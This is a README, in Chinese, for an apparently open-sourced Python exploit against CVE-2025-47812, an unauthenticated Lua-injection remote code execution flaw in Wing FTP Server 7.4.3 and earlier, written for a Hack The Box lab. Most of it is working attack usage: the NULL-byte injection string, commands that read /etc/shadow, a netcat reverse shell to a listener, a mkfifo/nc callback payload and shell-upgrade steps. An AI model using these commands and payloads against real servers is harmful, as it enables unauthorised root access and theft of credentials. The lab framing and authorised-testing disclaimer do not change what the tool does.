
针对 wingdata HTB 的 CVE-2025-47812 PoC
用于 Wing FTP Server ≤ 7.4.3 中未认证 Lua 注入 RCE 的 Python 漏洞利用工具。专为 Shell 投递设计——从 check 到正常工作的 netcat 回调只需一条命令。
前段时间为 HTB 上的 wingData 实验室编写,现已开源。仅用于你拥有或已获书面授权测试的系统。
Wing FTP 的 c_CheckUser() 会在第一个 NULL 字节处截断 username 用于认证,但会话创建路径会将完整未净化的用户名写入 Lua 会话文件。注入 anonymous%00]]<lua>--,服务器便会愉快地将你的 Lua 代码写入会话。访问任意需要认证的端点(dir.html 可行)会通过 loadfile() → f() 加载该会话文件,并以 root / SYSTEM 权限执行注入代码。
受影响版本:Wing FTP Server ≤ 7.4.3。在 7.4.4 中修复。
pip install requests
仅此而已——无其他依赖。
# 1. 确认目标存在漏洞(执行 `id` 并检查 `uid=`)
python3 exploit.py -u http://target:5466/ check
# 2. 单次命令执行——捕获标准输出和标准错误
python3 exploit.py -u http://target:5466/ exec "id"
python3 exploit.py -u http://target:5466/ exec "cat /etc/shadow"
python3 exploit.py -u http://target:5466/ exec "find / -perm -4000 2>/dev/null"
# 3. 反弹 Shell(简单方式)
# 终端 1:
nc -lvnp 4444
# 终端 2:
python3 exploit.py -u http://target:5466/ shell 10.10.14.5 4444
# 4. 分离的任意载荷——发送后即忘。当 bash 缺失时很有用:
python3 exploit.py -u http://target:5466/ detached \
"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f"
http://target:5466/login.html,然后再假设 URL 错误。shell 模式未成功建立回调,请回退到 detached 模式并使用上面的 mkfifo 载荷。某些精简 Linux 镜像未自带 bash。python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# 回车,回车
export TERM=xterm
仅供教育和授权安全测试使用。你需对你指向的目标负责。
MIT — 参见 LICENSE。
| 标志 | 默认值 | 用途 |
|---|
-u, --url | 必填 | 目标基础 URL——Wing FTP 通常在 :5466(HTTP)或 :5467(HTTPS)上监听。 |
-U, --username | anonymous | NULL 字节前的用户名。默认安装下匿名用户可行。 |
-P, --password | 空 | 用于注入 POST 的密码。匿名用户留空即可。 |
-v, --verbose | 关闭 | 输出 Lua 载荷、访问的 URL 和原始响应体。 |